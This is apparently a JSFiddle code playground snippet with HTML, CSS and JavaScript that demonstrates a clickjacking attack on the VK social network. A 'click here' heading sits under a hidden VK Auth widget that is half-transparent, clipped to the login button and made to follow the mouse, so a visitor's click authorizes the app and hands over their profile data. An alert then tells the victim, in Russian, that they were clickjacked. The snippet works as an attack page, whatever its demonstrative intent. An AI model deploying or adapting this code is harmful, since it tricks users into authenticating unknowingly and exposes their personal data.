JSFiddle - React, Tailwind, and code Playground

by kein1945

HTML

<script src="//vk.com/js/api/openapi.js?105"></script>
<h1>click here</h1>
<div id="overlay">
	<div id="wrap1">
		<div id="wrap2">
			<div id="vk_auth"></div>
		</div>
	</div>
</div>

CSS

#overlay {
			width: 100%;
			height: 100%;
			position: absolute;
			top: 0;
			left: 0;
			cursor: pointer;
			z-index: 100;
		}
		#wrap1 {
			overflow: hidden;
			width: 180px;
			height: 25px;
			opacity: 0.5;
			position: absolute;
			z-index: 101;
		
		}
		#wrap2 {
			margin-left: -10px;
			margin-top: -75px;
		}

JavaScript

VK.init({apiId: '4213269' });
VK.Widgets.Auth("vk_auth", {width: "200px", onAuth: function(data) {
	console.log(data);
	alert('Уважемый '+data.first_name+', Вы стали жервой кликджекинга');
}});

var el = $('#wrap1');
$(window).on('mousemove', function(e) {
	el.css({left:  e.pageX - 90, top:   e.pageY - 12 });
});